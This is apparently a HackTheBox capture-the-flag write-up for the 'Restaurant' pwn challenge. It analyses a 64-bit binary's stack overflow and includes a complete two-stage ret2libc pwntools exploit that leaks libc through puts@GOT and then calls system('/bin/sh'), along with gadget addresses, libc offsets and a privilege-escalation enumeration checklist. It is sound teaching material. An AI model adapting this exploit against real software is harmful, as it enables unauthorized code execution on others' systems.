← Back to Writeups
HTBN/APwn

Restaurant

XESXOR8/23/20267 min read
#pwn#htb#n/a

Restaurant

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: ret2libc, rop_chain, got_leak_via_puts, stack_alignment, two_stage_exploit

Summary

"Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don't overdo it.."

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260209_hackthebox_restaurant
  • Tags: buffer_overflow, libc_leak, ret2libc, rop, no_pie, stack_bof, no_canary, nx, full_relro, glibc_2.27, 64bit
  • Indicators: read() size >> buffer size, no stack canary, NX enabled (no shellcode), no PIE (fixed addresses), Full RELRO (GOT not writable)
  • Source: 20260209_hackthebox_restaurant.md

Foothold

Vulnerability / Misconfiguration

  1. Ret2libc
  2. Rop_chain
  3. Got_leak_via_puts
  4. Stack_alignment
  5. Two_stage_exploit
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ret2libc
  • rop_chain
  • got_leak_via_puts
  • stack_alignment
  • two_stage_exploit
  • Tags: buffer_overflow, libc_leak, ret2libc, rop, no_pie, stack_bof, no_canary, nx, full_relro, glibc_2.27, 64bit

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don't overdo it.."

A 64-bit ELF binary for a "Rocky Restaurant" menu program. Choose to "Fill my dish" (option 1) or "Drink something" (option 2). The fill() function has a classic stack buffer overflow — 32-byte buffer but reads up to 1024 bytes. No canary, no PIE, NX enabled, Full RELRO. Bundled libc is GLIBC 2.27 (Ubuntu 18.04).

Remote: nc 154.57.164.65:30349

Files

  • restaurant — ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
  • libc.so.6 — Ubuntu GLIBC 2.27-3ubuntu1.4

Analysis

Binary Properties

PropertyValue
Archx86-64
RELROFull
Stack CanaryNone
NXEnabled
PIEDisabled (base 0x400000)
StrippedNo
CompilerGCC 7.5.0
LibcGLIBC 2.27-3ubuntu1.4

Key Addresses (Static — No PIE)

SymbolAddress
main0x400f68
fill0x400e4a
drink0x400eed
puts@PLT0x400650
puts@GOT0x601fa8
pop rdi; ret0x4010a3
ret0x40063e

Libc Offsets (GLIBC 2.27)

SymbolOffset
puts0x80aa0
system0x4f550
"/bin/sh"0x1b3e1a

Program Flow

  1. main() prints a menu banner for "Rocky Restaurant"
  2. Prompts > and reads choice via read()
  3. Option 1 — fill(): Prints "You can add some ingredients to your dish:", reads input with read(0, buf, 0x400) into a 0x20-byte stack buffer — OVERFLOW
  4. Prints "Enjoy your %s" with the buffer contents (also leaks stack data up to first null byte)
  5. Returns to main loop
  6. Option 2 — drink(): Safe function, reads an integer with scanf("%d")

Vulnerability

In fill():

sub rsp, 0x20          ; 32-byte buffer
...
read(0, buf, 0x400)    ; reads up to 1024 bytes!
  • Buffer: 0x20 (32) bytes
  • Read size: 0x400 (1024) bytes
  • Overflow: 992 bytes past the buffer
  • No canary to detect the overflow
  • Offset to return address: 0x20 (buffer) + 0x08 (saved RBP) = 40 bytes

Why ret2libc?

  • NX enabled → can't execute shellcode on the stack
  • Full RELRO → can't overwrite GOT entries
  • No PIE → PLT/GOT addresses are fixed, can use them in ROP chains
  • No canary → free buffer overflow without leaking canary first
  • Bundled libc → known offsets for system, "/bin/sh", etc.

The only viable approach is ret2libc: use ROP to leak a libc address, calculate system() and "/bin/sh" addresses, then call system("/bin/sh").

Solution

Strategy: Two-Stage ret2libc

Since ASLR randomizes libc's base address, we need two passes through the vulnerable function:

Stage 1: Leak libc address → return to main() Stage 2: Call system("/bin/sh") → shell

Stage 1: Leak libc via puts@GOT

  1. Select option 1 ("Fill my dish")
  2. Send 40 bytes padding + ROP chain:
[AAAA...40 bytes][pop rdi; ret][puts@GOT][puts@PLT][main]
  1. This executes: puts(*(puts@GOT)) — prints the runtime address of puts in libc
  2. Then returns to main() for the second stage

Parsing the leak: After the overflow, printf("Enjoy your %s", buf) prints the 40 A's plus partial bytes of the first ROP gadget address (\xa3\x10\x40\x00... — null at byte 4 stops printf). Then puts() outputs the 6-byte libc address of puts followed by a newline.

recv "Enjoy your " → skip 40 bytes (A's) → skip 3 bytes (gadget leak) → recvline = puts address
  1. Calculate: libc_base = leaked_puts - 0x80aa0

Stage 2: system("/bin/sh")

  1. Program is back in main(), select option 1 again
  2. Send 40 bytes padding + ROP chain:
[BBBB...40 bytes][ret][pop rdi; ret]["/bin/sh"][system]
  1. The extra ret gadget is critical for 16-byte stack alignmentsystem() in GLIBC 2.27+ uses movaps which requires RSP to be 16-byte aligned. Without this ret, the exploit segfaults inside system().

  2. Shell obtained → cat flag*

Stack Alignment Detail

x86-64 System V ABI requires 16-byte stack alignment at function calls. After our ROP chain manipulates the stack, RSP may not be aligned. The ret gadget (which just pops 8 bytes off the stack) adjusts alignment:

Without alignment fix:     With alignment fix:
RSP = ...8 (misaligned)    RSP = ...0 (aligned)
→ movaps SEGFAULT          → movaps OK

Exploit

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

HOST = '154.57.164.65'
PORT = 30349

elf = ELF('./restaurant')
libc = ELF('./libc.so.6')

POP_RDI = 0x4010a3    # pop rdi; ret
RET = 0x40063e         # ret (stack alignment)
OFFSET = 0x20 + 8     # 32 bytes buffer + 8 bytes saved RBP = 40

def exploit():
    p = remote(HOST, PORT)
    
    # ================================================================
    # STAGE 1: Leak puts@libc via GOT
    # ================================================================
    log.info("=== Stage 1: Leak libc ===")
    
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'> ')
    
    payload = b'A' * OFFSET
    payload += p64(POP_RDI)
    payload += p64(elf.got['puts'])     # rdi = &GOT[puts]
    payload += p64(elf.plt['puts'])     # puts(GOT[puts]) → leaks libc addr
    payload += p64(elf.symbols['main']) # return to main for stage 2
    p.sendline(payload)
    
    # Parse the leak:
    # printf("Enjoy your %s", buf) prints 40 A's + 3 bytes of POP_RDI addr
    # (null byte at offset 4 of 0x004010a3 stops printf)
    # Then puts() outputs the 6-byte libc address + newline
    p.recvuntil(b'Enjoy your ')
    p.recv(40)   # skip A padding
    p.recv(3)    # skip partial gadget address bytes (\xa3\x10\x40)
    leaked_line = p.recvline()
    puts_leak = u64(leaked_line.strip().ljust(8, b'\x00'))
    
    libc_base = puts_leak - libc.symbols['puts']
    log.success(f'Leaked puts@libc: {hex(puts_leak)}')
    log.success(f'libc base: {hex(libc_base)}')
    
    system = libc_base + libc.symbols['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    log.info(f'system: {hex(system)}')
    log.info(f'/bin/sh: {hex(bin_sh)}')
    
    # ================================================================
    # STAGE 2: system("/bin/sh")
    # ================================================================
    log.info("=== Stage 2: system('/bin/sh') ===")
    
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'> ')
    
    payload2 = b'B' * OFFSET
    payload2 += p64(RET)        # stack alignment (for movaps in system)
    payload2 += p64(POP_RDI)
    payload2 += p64(bin_sh)     # rdi = "/bin/sh"
    payload2 += p64(system)     # system("/bin/sh")
    p.sendline(payload2)
    
    log.success("Shell obtained!")
    p.sendline(b'cat flag*')
    p.interactive()

if __name__ == '__main__':
    exploit()

Lessons Learned

  1. Two-stage ret2libc is the bread and butter of 64-bit pwn — Stage 1 leaks libc (via puts(GOT_entry)), stage 2 calls system("/bin/sh"). This pattern works on any binary with no PIE + no canary + NX.

  2. Stack alignment matters on x86-64 — GLIBC 2.27+ system() uses SSE instructions (movaps) that require 16-byte aligned RSP. A single extra ret gadget before the payload fixes alignment. Always include it when targeting system().

  3. printf leak parsing requires understanding null bytesprintf("%s", buf) stops at the first null byte. Since p64(0x004010a3) = \xa3\x10\x40\x00\x00\x00\x00\x00, printf prints 40 A's + 3 bytes of the address, then stops. The actual libc leak comes from the subsequent puts() call.

  4. Full RELRO eliminates GOT overwrite — With Full RELRO, the GOT is mapped read-only after relocation. This forces ret2libc/ROP approaches instead of the simpler GOT overwrite technique.

  5. Returning to main() is the simplest loop — After the leak, returning to main() restarts the menu, giving a clean second chance to exploit the same vulnerability with computed addresses.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR